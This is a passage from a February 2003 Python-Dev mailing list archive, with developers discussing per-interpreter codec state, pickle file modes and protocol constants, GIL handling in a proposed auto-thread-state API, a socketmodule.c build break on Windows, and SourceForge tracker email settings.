--9Ek0hoCL9XbhcSqy
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE+SaBeedcO2BJA+4YRAhymAJkB1KfsMW09eo71/+E3/a9QvlHAewCeJpuw
8ELMRvhABZ5T09La4pli4R4=
=l/7i
-----END PGP SIGNATURE-----

--9Ek0hoCL9XbhcSqy--


From guido@python.org  Wed Feb 12 01:37:04 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 20:37:04 -0500
Subject: [Python-Dev] Codecs data
In-Reply-To: "Your message of Tue, 11 Feb 2003 23:51:07 +0100."
 <3E497E5B.5000300@lemburg.com>
References: <20030211161807.GA11135@ibook.distro.conectiva>
 <3E497E5B.5000300@lemburg.com>
Message-ID: <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net>

> Gustavo Niemeyer wrote:
> > I belive we have a problem in our current codecs implementation: it
> > doesn't work for multiple interpreter states, because the data is
> > currently statically allocated in codecs.c. That way, only the first
> > interpreter is going to have the codecs lookup working. The following
> > interpreters will try to cross the interpreter state boundary and use
> > the lookup function from the first interpreter, issuing all kinds of
> > weird errors.
> > 
> > One solution would be to store that data in the "sys" module
> > (e.g. codec_search_path, codec_search_cache, codec_inited).
> > 
> > Can you please advice on how to fix that? I'll be willing to provide
> > a fix with the proposed solution.

[MAL]
> Martin had the idea to put these globals (along with other
> similar globals) in the thread state structure. I believe that's
> the right approach or at least hints in the right direction (we
> don't want the globals to be per thread, but there doesn't
> seem to be a better place).

The thread state seems just wrong, if threads can share codecs.  I'm
not sure what the purpose of these globals is, but why can't we
augment the interpreter state to hold them?

> Also see:
> https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470

[MAL again]
> Hmm, there is something called PyInterpreterState. Perhaps that's
> what we want ?! (and Martin was thinking about)

Yes!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Wed Feb 12 01:40:56 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Wed, 12 Feb 2003 02:40:56 +0100
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <7F171EB5E155544CAC4035F0182093F03CF6FE@INGDEXCHSANC1.ingdirect.com>
Message-ID: <00e101c2d237$c9d66360$6d94fea9@newmexico>

From: "Chermside, Michael" <mchermside@ingdirect.com>
[Samuele Pedroni creates list of # of posts per person]

It was mostly for my personal curiosity. But once the work done, I thought to
share.

>I'm not quite sure how you generated this list, but I notice

not by hand <wink>, with a ~200 lines python script using nttplib

>that I'm not on it. Now I *HAVE* been trying very hard to make
>FEW posts (but hopefully insightful ones), but I still made
>it to the threshold of 3.

Yup, there was a small bug in the names/addresses coalescing code,
you were counted 1 time for 2 posts and one time for 1,

Now it is fixed.

>I don't particularly care about the list,

I would file it mostly under too much information,

The relevant data for me was that 1/4, 1/2 of the total posts were made by just
a small "vocal" group of people

> but if Guido wants
>a listing of who's pro/con,

The last time I have ran the script I got 155 different posters, I think nobody
is going to sieve through the nuances of their writings to report their
opinion. There will be the vote for that.

> then we shouldn't exclude people
>who have tried to REDUCE the amount of noise by posting a
>SMALL number of times.

That was never my intention, the threshold of 3 was arbitrary and the list as
such was not my goal.

I think I will run the script again before the vote, because I'm interested in
the debaters/voters ratio.

regards.



From greg@cosc.canterbury.ac.nz  Wed Feb 12 05:26:25 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 12 Feb 2003 18:26:25 +1300 (NZDT)
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?)
In-Reply-To: <Pine.LNX.4.44.0302111656000.1482-100000@suzi.com.onego.ru>
Message-ID: <200302120526.h1C5QPF07718@oma.cosc.canterbury.ac.nz>

Roman Suzi <rnd@onego.ru>:

> setdefault(mydict, 'goo', :makeavalue(x))

Hmmm, looks like Logo!

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Feb 12 05:30:08 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 12 Feb 2003 18:30:08 +1300 (NZDT)
Subject: [Python-Dev] [meta] EIBTI: can we acronimize?
In-Reply-To: <20030211143905.GI17348@laranja.org>
Message-ID: <200302120530.h1C5U8B07731@oma.cosc.canterbury.ac.nz>

Lalo Martins <lalo@laranja.org>:

> I just realized I'm finally tired of typing "Explicit is better than
> implicit".  Can we agree to call this maxim EIBTI?

Or we could follow the Ferengi and just assign numbers
to the Rules of Pythonicness.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From niemeyer@conectiva.com  Wed Feb 12 12:58:33 2003
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Wed, 12 Feb 2003 10:58:33 -0200
Subject: [Python-Dev] Codecs data
In-Reply-To: <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net>
References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com> <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030212125833.GB26192@ibook.distro.conectiva>

> [MAL again]
> > Hmm, there is something called PyInterpreterState. Perhaps that's
> > what we want ?! (and Martin was thinking about)
> 
> Yes!

Marc, are you going to work on this? Otherwise I'll prepare a fix.

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From mal@lemburg.com  Wed Feb 12 13:01:15 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 12 Feb 2003 14:01:15 +0100
Subject: [Python-Dev] Codecs data
In-Reply-To: <20030212125833.GB26192@ibook.distro.conectiva>
References: <20030211161807.GA11135@ibook.distro.conectiva>	<3E497E5B.5000300@lemburg.com>	<200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net> <20030212125833.GB26192@ibook.distro.conectiva>
Message-ID: <3E4A459B.4050805@lemburg.com>

Gustavo Niemeyer wrote:
>>[MAL again]
>>
>>>Hmm, there is something called PyInterpreterState. Perhaps that's
>>>what we want ?! (and Martin was thinking about)
>>
>>Yes!
> 
> Marc, are you going to work on this? Otherwise I'll prepare a fix.

No, I don't have time for it right now.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 12 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     48 days left
EuroPython 2003, Charleroi, Belgium:                       132 days left



From mchermside@ingdirect.com  Wed Feb 12 14:05:07 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Wed, 12 Feb 2003 09:05:07 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
Message-ID: <7F171EB5E155544CAC4035F0182093F03CF703@INGDEXCHSANC1.ingdirect.com>

> The relevant data for me was that 1/4, 1/2 of the total posts were =
made by just
> a small "vocal" group of people

Please don't think I missed the importance of this fact. The details
of the count were unimportant compared to what this says about how
the perceived level of vigorous argument may actually be an artifact
of a few outliers. I actually only posted thinking that there might
be a bug in your counting algorithm... I still believe that in the
end Guido will wind up finding a way to extract a reasonable decision
from this mess, although I have a hard time seeing how he'll manage
that! Knowing that a few individuals account for a lot of the "noise"
may help him.

-- Michael Chermside


From skip@pobox.com  Wed Feb 12 14:59:01 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 12 Feb 2003 08:59:01 -0600
Subject: [Python-Dev] when is binary mode required for pickle?
Message-ID: <15946.24885.954134.949124@montanaro.dyndns.org>

(I'm really not asking how to use pickle.)

Unused as I am to programming on Windows, it's not clear to me under what
circumstances I might need to open a file in binary mode for Pickle's
consumption.  The reason I ask is that while working on the csv PEP and
module, we had some input complaining about our requirement that CSV files
be opened with the 'b' flag (where it matters).  Andrew mentioned that
Pickle requires files be opened in binary mode.  However, the documentation
doesn't explicitly state this.  Must, for example, a file be opened with the
'b' flag if an ASCII pickle is to be written?  The doc for the Unpickler
class says the file-like object must support both read(n) and readline()
methods.  The requirement for readline() suggests the file be opened in text
mode.

(Maybe this is just a nit with the Pickle docs and I don't know it?)

Skip


From guido@python.org  Wed Feb 12 15:35:14 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 12 Feb 2003 10:35:14 -0500
Subject: [Python-Dev] when is binary mode required for pickle?
In-Reply-To: "Your message of Wed, 12 Feb 2003 08:59:01 CST."
 <15946.24885.954134.949124@montanaro.dyndns.org>
References: <15946.24885.954134.949124@montanaro.dyndns.org>
Message-ID: <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net>

> Unused as I am to programming on Windows, it's not clear to me under what
> circumstances I might need to open a file in binary mode for Pickle's
> consumption.  The reason I ask is that while working on the csv PEP and
> module, we had some input complaining about our requirement that CSV files
> be opened with the 'b' flag (where it matters).  Andrew mentioned that
> Pickle requires files be opened in binary mode.  However, the documentation
> doesn't explicitly state this.  Must, for example, a file be opened with the
> 'b' flag if an ASCII pickle is to be written?  The doc for the Unpickler
> class says the file-like object must support both read(n) and readline()
> methods.  The requirement for readline() suggests the file be opened in text
> mode.

The situation for pickling is complex.  Pickling protocol 0 *allows*
opening the file in text mode, as long as this is done both for
reading and for writing.  Pickling protocol 1 (AKA known as "binary
mode") and protocol 2 (new in Python 2.3) *require* opening the file
in binary mode (but nobody ever checks).

There's no requirement that files are opened in text mode to use
readline() -- but when a file was written in text mode and then
readline() is used in binary mode, all your line endings will look
like "\r\n".

> (Maybe this is just a nit with the Pickle docs and I don't know it?)

Who knows.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Wed Feb 12 17:09:31 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Wed, 12 Feb 2003 18:09:31 +0100
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <7F171EB5E155544CAC4035F0182093F03CF703@INGDEXCHSANC1.ingdirect.com>
Message-ID: <011e01c2d2b9$827e6760$6d94fea9@newmexico>

From: "Chermside, Michael" <mchermside@ingdirect.com>
>> The relevant data for me was that 1/4, 1/2 of the total posts were made by
just
>> a small "vocal" group of people
>
>Please don't think I missed the importance of this fact. The details
>of the count were unimportant compared to what this says about how
>the perceived level of vigorous argument may actually be an artifact
>of a few outliers. I actually only posted thinking that there might
>be a bug in your counting algorithm... I still believe that in the
>end Guido will wind up finding a way to extract a reasonable decision
>from this mess, although I have a hard time seeing how he'll manage
>that! Knowing that a few individuals account for a lot of the "noise"
>may help him.

the situation is problematic because both Erik Max Francis and Andrew Koenig
are reaching 200 posts, and they both would like a ternary operator (no problem
with that), but they also strongly favor basically a single candidate, that
means that everybody who dislike it ought to maybe answer to every single post
where they argue in favor of it (many are mostly redundant but that seems a
strategy <.5 wink>).

People have probaly more important things to do, still in the normal PEP
process one should only convince Guido. Maybe that would still be possible
after the vote (?).


this-thing-is-already-past-the-funny-part'ly y'rs.



From neal@metaslash.com  Wed Feb 12 19:55:38 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Wed, 12 Feb 2003 14:55:38 -0500
Subject: [Python-Dev] when is binary mode required for pickle?
In-Reply-To: <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net>
References: <15946.24885.954134.949124@montanaro.dyndns.org>
 <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030212195538.GR23059@epoch.metaslash.com>

On Wed, Feb 12, 2003 at 10:35:14AM -0500, Guido van Rossum wrote:
> 
> The situation for pickling is complex.  Pickling protocol 0 *allows*
> opening the file in text mode, as long as this is done both for
> reading and for writing.  Pickling protocol 1 (AKA known as "binary
> mode") and protocol 2 (new in Python 2.3) *require* opening the file
> in binary mode (but nobody ever checks).

Is the new pickling definitely going in to 2.3?
If so, has anyone started working on fixing the documentation?
The most important changes I know of are the bin/protocol parameters.

Neal


From rnd@onego.ru  Wed Feb 12 19:42:27 2003
From: rnd@onego.ru (Roman Suzi)
Date: Wed, 12 Feb 2003 22:42:27 +0300 (MSK)
Subject: [Python-Dev] [meta] EIBTI: can we acronimize?
In-Reply-To: <200302120530.h1C5U8B07731@oma.cosc.canterbury.ac.nz>
Message-ID: <Pine.LNX.4.44.0302122235550.9487-100000@rnd.onego.ru>

On Wed, 12 Feb 2003, Greg Ewing wrote:

>Lalo Martins <lalo@laranja.org>:
>
>> I just realized I'm finally tired of typing "Explicit is better than
>> implicit".  Can we agree to call this maxim EIBTI?
>
>Or we could follow the Ferengi and just assign numbers
>to the Rules of Pythonicness.

Oh... I am preparing a PEP with the word "Implicit" in the title. Is it doomed
to be rejected out-right?

I do not like abbreviation EIBTI. It contradicts SIBTC, SIBTD and RC ;-)

Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From brett@python.org  Wed Feb 12 23:03:02 2003
From: brett@python.org (Brett Cannon)
Date: Wed, 12 Feb 2003 15:03:02 -0800 (PST)
Subject: [Python-Dev] SF CVS down?
Message-ID: <Pine.SOL.4.53.0302121502370.23226@death.OCF.Berkeley.EDU>

Or is just me?

-Brett




From mhammond@skippinet.com.au  Wed Feb 12 23:37:24 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 13 Feb 2003 10:37:24 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <200302111525.h1BFPLi11401@odiug.zope.com>
Message-ID: <014801c2d2ef$b2856ae0$530f8490@eden>

> > > > However, to do this auto thread state work properly, I will
> > > > need to change the definition of Py_END_ALLOW_THREADS.
> > > > Specifically, Py_END_ALLOW_THREADS needs to be able to
> > > > handle the fact that the lock may or may not be held
> > > > when it is called (whereas now, the lock must *not* be held)
> > >
> > > Can you explain how the current thread, which explicitly
> > > released the
> > > lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when
> > > Py_END_ALLOW_THREADS is entered?
> >
> > The short answer is that the current thread releases the lock (via
> > Py_BEGIN_ALLOW_THREAD), then makes the call it needs to.  This call
> > may synchronously call back into Python code, acquiring the lock.
> > Currently, the rule is that the callback must also release the lock
> > when done.  However, I am hoping to change things so that the
> > callback code need *not* re-release the lock when on the same
> > thread.
>
> Heh?  The point of Py_BEGIN_ALLOW_THREAD is to allow *other* threads
> to run, while the current thread engages in actions that could block
> indefinitely.  The code between BEGIN and END can cause any number of
> callbacks to run.  If one of those callbacks grabs the lock and
> doesn't release it, no other thread will be able to run, even if a
> later callback causes the current thread to block waiting for an
> external event!

This is true, but still true in many regards today.  Currently, between
BEGIN/END, a callback can still acquire the lock, leaving us in the same
position.  I am proposing that this lock need not be re-released.  In both
cases, there are periods of time where the current thread *does* hold the
lock between BEGIN/END pairs - I am simply increasing that time - but not to
the entire time.  Indeed, in the vast majority of cases where BEGIN/END is
currently used, there will be *no* change at all.

I agree I am on thin ice here, but let's move on for now.

> > The longer answer is to *why* I want to make that change:
> >
> > Consider:
> >
> > void SomeCallback()
> > {
> > 	PyAutoThreadState_Ensure();
> >       ... do some Python API stuff.
> >       SomeOtherFunc(); // my helper function.
> >       ... more Python stuff.
> >       PyAutoThreadState_Release();
> > }
> >
> > Now, consider SomeOtherFunc():
> >
> > void SomeOtherFunc()
> > {
> > 	// This function also needs to use the Python API
> > 	// but is called from many many places, where the
> > 	// Python context is not always known.
> > 	// So use the auto-thread-state
> > 	PyAutoThreadState_Ensure();
> > 	.. use the api
> > 	PyAutoThreadState_Release();
> > }
> >
> > As you can see, we have *nested* calls to
> PyAutoThreadState_Release().
> > The question is, in what state should PyAutoThreadState_Release()
> > leave Python?
>
> This suggests that the GIL needs to become a reentrant lock.

I don't think that solves our problem.

Consider a thread:

void SomeThreadEntryPoint()
  -> Acquire GIL
  -> Make some call into the Python API.
     -> Python code calls extension module fn.
        -> Extension module does Py_BEGIN_ALLOW_THREADS
...
  -> Release GIL

In this case, the Py_BEGIN_ALLOW_THREADS would release the GIL - but being a
reentrant lock, the lock itself would not actually be released, as
SomeThreadEntryPoint() has already acquired the same lock on the same
thread.

Thus, in this case, using a reentrant lock would *never* release the GIL in
Py_BEGIN_ALLOW_THREADS.  Indeed, from what I can see, the GIL will *never*
be released until SomeThreadEntryPoint terminates.  Current Python
thread-switch semantics assume that a GIL release is truly a lock release.

...
> Yes, releasing on the last call makes sense -- that's a
> reentrant lock.

Yes, but I am not sure a reentrant lock is suitable for the entire
thread-state API - I was hoping it would just be suitable for this
AutoThreadState API.  Now I am just confused :)

I need to ponder this some more, but it seems to me a reentrant lock is of
no use, as once a thread owns the lock, another thread can *never* acquire
it until the *final* matched release by the owning thread - and in some
cases that will be the entire lifetime of the thread.

Getting-harder-by-the-minute ly,

Mark.



From skip@pobox.com  Thu Feb 13 00:53:46 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 12 Feb 2003 18:53:46 -0600
Subject: [Python-Dev] SF CVS down?
In-Reply-To: <Pine.SOL.4.53.0302121502370.23226@death.OCF.Berkeley.EDU>
References: <Pine.SOL.4.53.0302121502370.23226@death.OCF.Berkeley.EDU>
Message-ID: <15946.60570.908704.862372@montanaro.dyndns.org>

    Brett> Or is just me?

Works for me (6:53PM Central time).

Skip


From bac@OCF.Berkeley.EDU  Thu Feb 13 01:07:11 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Wed, 12 Feb 2003 17:07:11 -0800 (PST)
Subject: [Python-Dev] SF CVS down?
In-Reply-To: <15946.60570.908704.862372@montanaro.dyndns.org>
References: <Pine.SOL.4.53.0302121502370.23226@death.OCF.Berkeley.EDU>
 <15946.60570.908704.862372@montanaro.dyndns.org>
Message-ID: <Pine.SOL.4.53.0302121707000.23226@death.OCF.Berkeley.EDU>

[Skip Montanaro]

>
>     Brett> Or is just me?
>
> Works for me (6:53PM Central time).
>

Yeah, it 's working now.  Thanks.

-Brett


From tim_one@email.msn.com  Thu Feb 13 01:53:50 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 12 Feb 2003 20:53:50 -0500
Subject: [Python-Dev] Overly creative config in socketmodule.c
Message-ID: <LNBBLJKPBEHFEDALKOLCMELGDNAB.tim_one@email.msn.com>

Someone very recently checked in this change:

static PyObject*
socket_inet_aton(PyObject *self, PyObject *args)
{
#ifndef INADDR_NONE
#define INADDR_NONE (-1)
#endif

	/* Have to use inet_addr() instead */
	char *ip_addr;
#if 1
...
	if (inet_aton(ip_addr, &buf))
		return PyString_FromStringAndSize((char *)(&buf),
...						  sizeof(buf));

#else /* In case you don't have inet_aton() */
...
#endif
}

Now in case you were wondering,

#if 1
#else
#endif

isn't a robust way to do platform configuration <wink/arghghgh>.

Whoever did this, please back it out or do it right.  inet_aton doesn't
exist on Windows, so socketmodule.c no longer compiles there.



From neal@metaslash.com  Thu Feb 13 02:11:15 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Wed, 12 Feb 2003 21:11:15 -0500
Subject: [Python-Dev] Overly creative config in socketmodule.c
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMELGDNAB.tim_one@email.msn.com>
References: <LNBBLJKPBEHFEDALKOLCMELGDNAB.tim_one@email.msn.com>
Message-ID: <20030213021115.GZ23059@epoch.metaslash.com>

On Wed, Feb 12, 2003 at 08:53:50PM -0500, Tim Peters wrote:
> Someone very recently checked in this change:
> 
> [snip]
> 
> Now in case you were wondering,
> 
> #if 1
> #else
> #endif
> 
> isn't a robust way to do platform configuration <wink/arghghgh>.
> 
> Whoever did this, please back it out or do it right.  inet_aton doesn't
> exist on Windows, so socketmodule.c no longer compiles there.

Although I am not the guilty party, I checked in a configure
change which should fix your problem.  It worked on Linux, but
YMMV. :-)

Neal


From tim_one@email.msn.com  Thu Feb 13 03:15:08 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 12 Feb 2003 22:15:08 -0500
Subject: [Python-Dev] Overly creative config in socketmodule.c
In-Reply-To: <20030213021115.GZ23059@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKELODNAB.tim_one@email.msn.com>

[Neal Norwitz]
> Although I am not the guilty party, I checked in a configure
> change which should fix your problem.  It worked on Linux, but
> YMMV. :-)

Thanks, and it did <wink>.  I checked in some more changes, and it both
compiles and doesn't blow up on Windows now.  The unidentified Guid^Hlty
part will also be grateful.



From tim_one@email.msn.com  Thu Feb 13 03:36:59 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 12 Feb 2003 22:36:59 -0500
Subject: [Python-Dev] when is binary mode required for pickle?
In-Reply-To: <15946.24885.954134.949124@montanaro.dyndns.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEMCDNAB.tim_one@email.msn.com>

Let me simplify this:  if you want a surprise-free and portable life, always
open pickle files in binary mode, regardless of pickling module (pickle or
cPickle), platform, pickle protocol, or whether reading or writing.

And, yes, the docs could be clearer about this.

The downside is that proto 0 (text mode) pickles "look funny" in Notepad on
Windows if written to a file opened in binary mode (they don't have the \r\n
line endings then that Notepad expects).



From tim_one@email.msn.com  Thu Feb 13 03:57:07 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Wed, 12 Feb 2003 22:57:07 -0500
Subject: [Python-Dev] when is binary mode required for pickle?
In-Reply-To: <20030212195538.GR23059@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEMEDNAB.tim_one@email.msn.com>

[Neal Norwitz]
> Is the new pickling definitely going in to 2.3?

Yes.  In fact, at this point, completing changes to cPickle.c is a gating
factor for 2.3a2.

> If so, has anyone started working on fixing the documentation?

Only in the sense that an enormous amount of time (both Guido's and mine)
went into the PEP.

> The most important changes I know of are the bin/protocol parameters.

For most people, yes.  "bin" is deprecated, "proto" should not be named
(cPickle doesn't accept keyword arguments), and passing -1 is the best thing
to do if you don't care about reading a pickle under an older version of
Python than the one that wrote the pickle.  For compatibility reasons,
though, the default proto value had to remain 0.

There's also a ton of valuable info in the PEP about how extension types get
pickled, and how to influence that.  Alas, while that may be complete and
accurate now, I'm not sure how comprehensible it is.

The existing __reduce__ docs are out of date, in that (a) __reduce__ can
return (up to) a 5-tuple now; and, (b) it's not just types written in C that
can exploit __reduce__ (new-style classes in Python can too, and this was
also true in 2.2).



From mhammond@skippinet.com.au  Thu Feb 13 04:30:36 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 13 Feb 2003 15:30:36 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <014801c2d2ef$b2856ae0$530f8490@eden>
Message-ID: <017d01c2d318$a86e6c40$530f8490@eden>

My apologies - I was simply not seeing the forest for the trees.

My entire problem is solved simply by making the API look like:

old_state = PyAutoThreadState_Ensure();
...
PyAutoThreadState_Release(old_state);

I will post an updated PEP and patch soon.

Mark.



From gmccaughan@synaptics-uk.com  Thu Feb 13 10:44:29 2003
From: gmccaughan@synaptics-uk.com (Gareth McCaughan)
Date: Thu, 13 Feb 2003 10:44:29 +0000
Subject: [Python-Dev] when is binary mode required for pickle?
Message-ID: <200302131044.29587.gmccaughan@synaptics-uk.com>

Guido wrote:

> For most people, yes.  "bin" is deprecated, "proto" should not be named
> (cPickle doesn't accept keyword arguments), and passing -1 is the best thing
> to do if you don't care about reading a pickle under an older version of
> Python than the one that wrote the pickle.  For compatibility reasons,
> though, the default proto value had to remain 0.

Suggestion: pickle.LATEST_PROTOCOL = cPickle.LATEST_PROTOCOL = -1 ?
(It could be spelled differently.) Or the string value "latest"
could be an acceptable value of proto. Or something. Anything rather
than magic numbers. :-)

-- 
g



From tim.one@comcast.net  Thu Feb 13 15:14:39 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 13 Feb 2003 10:14:39 -0500
Subject: [Python-Dev] when is binary mode required for pickle?
In-Reply-To: <200302131044.29587.gmccaughan@synaptics-uk.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEEDEOAA.tim.one@comcast.net>

[Gareth McCaughan]
> Suggestion: pickle.LATEST_PROTOCOL = cPickle.LATEST_PROTOCOL = -1 ?
> (It could be spelled differently.) Or the string value "latest"
> could be an acceptable value of proto. Or something. Anything rather
> than magic numbers. :-)

I'm going to add HIGHEST_PROTOCOL = 2 for 2.3 -- thanks for the idea.

Note that it doesn't address quite the same problem, though:  it won't exist
before 2.3, so current code can't use it.  You can pass -1 today to get the
highest protocol available (more by accident than by design), and your code
will continue to get the highest available in 2.3 without further ado.
 BTW, -1 didn't bother me:  I viewed it as indexing into a (conceptual) list
of available protocol numbers.  -1 generally has a "get the last" meaning,
and we'll conveniently ignore that -716 had the same meaning here <wink>.



From jcea@argo.es  Thu Feb 13 17:30:47 2003
From: jcea@argo.es (Jesus Cea Avion)
Date: Thu, 13 Feb 2003 18:30:47 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure
 request or bugfix?)
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> <Xns931F9A4CA6288duncanrcpcouk@127.0.0.1> <3E491728.84A8BF35@argo.es> <20030212011614.GC19707@meson.dyndns.org>
Message-ID: <3E4BD647.48254842@argo.es>

>   So, just to sum up:

I'm convinced. I share the global view now :-)

But lazy evaluation could be a nice addition to python };-)

-- 
Jesus Cea Avion                         _/_/      _/_/_/        _/_/_/
jcea@argo.es http://www.argo.es/~jcea/ _/_/    _/_/  _/_/    _/_/  _/_/
                                      _/_/    _/_/          _/_/_/_/_/
PGP Key Available at KeyServ   _/_/  _/_/    _/_/          _/_/  _/_/
"Things are not so easy"      _/_/  _/_/    _/_/  _/_/    _/_/  _/_/
"My name is Dump, Core Dump"   _/_/_/        _/_/_/      _/_/  _/_/
"El amor es poner tu felicidad en la felicidad de otro" - Leibniz


From guido@python.org  Thu Feb 13 17:52:12 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 12:52:12 -0500
Subject: [Python-Dev] Changing SF tracker email preferences
Message-ID: <200302131752.h1DHqCi00785@odiug.zope.com>

When a new bug or patch is posted to a SF tracker, an email gets sent
to python-bugs-list@python.org or patches@python.org.

But...  when anything is changed or added to those trackers, an email
is *also* sent to those lists.

I would like to receive the first kind of traffic (new tracker issues)
but not the second kind, except for those tracker issues in which I am
interested (which I can get by explicit turning on monitoring of those
issues, or by following up).

The SF tracker admin has an option to allow this: all I have to do is
uncheck the box that says "Send email on all changes".  I would really
like to do this.

Would anybody who is currently receiving bugs or patches traffic be
bothered if I made this change?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Thu Feb 13 18:18:49 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 13 Feb 2003 13:18:49 -0500
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com>
References: <200302131752.h1DHqCi00785@odiug.zope.com>
Message-ID: <20030213181849.GE23059@epoch.metaslash.com>

On Thu, Feb 13, 2003 at 12:52:12PM -0500, Guido van Rossum wrote:
> 
> Would anybody who is currently receiving bugs or patches traffic be
> bothered if I made this change?

I have no problem with the change.

I'm responding to this mail to point out that when a new bug/patch is
created, a file cannot be attached.  After creating the new bug/patch,
you must go back and attach the file.  It has nothing to do with
remembering to check the upload box.

I submitted a bug report to SF two weeks ago.  They changed the group
to Second Tier Support, but haven't addressed the problem.

  http://sf.net/tracker/?func=detail&atid=200001&aid=675910&group_id=1

still-hoping-for-roundup-to-replace-sf-ly y'rs,
Neal


From theller@python.net  Thu Feb 13 18:20:42 2003
From: theller@python.net (Thomas Heller)
Date: 13 Feb 2003 19:20:42 +0100
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com>
References: <200302131752.h1DHqCi00785@odiug.zope.com>
Message-ID: <u1f83uv9.fsf@python.net>

Guido van Rossum <guido@python.org> writes:

> When a new bug or patch is posted to a SF tracker, an email gets sent
> to python-bugs-list@python.org or patches@python.org.
> 
> But...  when anything is changed or added to those trackers, an email
> is *also* sent to those lists.
> 
> I would like to receive the first kind of traffic (new tracker issues)
> but not the second kind, except for those tracker issues in which I am
> interested (which I can get by explicit turning on monitoring of those
> issues, or by following up).
> 
> The SF tracker admin has an option to allow this: all I have to do is
> uncheck the box that says "Send email on all changes".  I would really
> like to do this.
> 
> Would anybody who is currently receiving bugs or patches traffic be
> bothered if I made this change?

I find it sometimes interesting to receive these mails and read the
comments which are posted, I cannot decide from the item description
if I'm interested in this item or not.

(You could also route the mails them into the trashcan, and read them with a
newsreader at news.gmane.org:gmane.comp.python.bugs or patches.)

Thomas



From gsw@agere.com  Thu Feb 13 18:23:48 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Thu, 13 Feb 2003 13:23:48 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <20030213170006.13859.37435.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFKENEDCAA.gsw@agere.com>

Mark Hammond wrote:
> My entire problem is solved simply by making the API look like:
> 
> old_state = PyAutoThreadState_Ensure();
> ...
> PyAutoThreadState_Release(old_state);

Aargh! I had an e-mail composed about that right away,
but didn't press send for fear of increasing the noise
level of Python-Dev even more. When you said saving of
state is a PITA, I figured you meant that this wasn't
going to work so easily. (Next time I'll at least send
